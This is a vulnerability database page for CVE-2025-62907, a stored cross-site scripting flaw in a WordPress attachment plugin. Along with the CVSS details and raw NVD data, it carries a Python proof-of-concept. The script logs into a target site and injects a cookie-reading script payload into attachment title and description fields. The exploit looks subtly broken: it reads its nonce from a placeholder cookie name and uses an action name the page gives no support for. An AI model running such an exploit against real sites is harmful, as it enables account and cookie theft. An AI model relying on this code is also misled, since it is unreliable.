Security Vulnerability Report
中文
CVE-2025-62907 CVSS 6.5 MEDIUM

CVE-2025-62907

Published: 2025-10-27 02:15:50
Last Modified: 2026-04-27 18:16:29

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in aviplugins.com Custom Post Type Attachment custom-post-type-pdf-attachment allows Stored XSS.This issue affects Custom Post Type Attachment: from n/a through <= 3.4.6.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Custom Post Type Attachment <= 3.4.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-62907 PoC - Stored XSS in Custom Post Type Attachment Plugin # Target: WordPress site with Custom Post Type Attachment plugin <= 3.4.6 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-site.com" username = sys.argv[2] if len(sys.argv) > 2 else "admin" password = sys.argv[3] if len(sys.argv) > 3 else "password" # XSS payload xss_payload = '<script>alert(document.cookie)</script>' def exploit_stored_xss(): session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Upload PDF attachment with XSS payload in metadata upload_url = f"{target_url}/wp-admin/admin-ajax.php" files = { 'file': ('malicious.pdf', b'%PDF-1.4 test content', 'application/pdf') } data = { 'action': 'cptpa_upload_pdf', 'post_id': '1', 'attachment_title': xss_payload, # XSS in title field 'attachment_description': xss_payload, # XSS in description field '_wpnonce': session.cookies.get('wordpress_' + 'X' * 10 + '_nonce', '') } upload_response = session.post(upload_url, files=files, data=data) if upload_response.status_code == 200: print("[+] Malicious PDF uploaded with XSS payload") print(f"[+] Payload: {xss_payload}") print("[+] XSS will be triggered when viewing the attachment page") return True else: print("[-] Upload failed") return False if __name__ == "__main__": exploit_stored_xss()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62907", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:50.043", "lastModified": "2026-04-27T18:16:29.493", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in aviplugins.com Custom Post Type Attachment custom-post-type-pdf-attachment allows Stored XSS.This issue affects Custom Post Type Attachment: from n/a through <= 3.4.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/custom-post-type-pdf-attachment/vulnerability/wordpress-custom-post-type-attachment-plugin-3-4-6-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}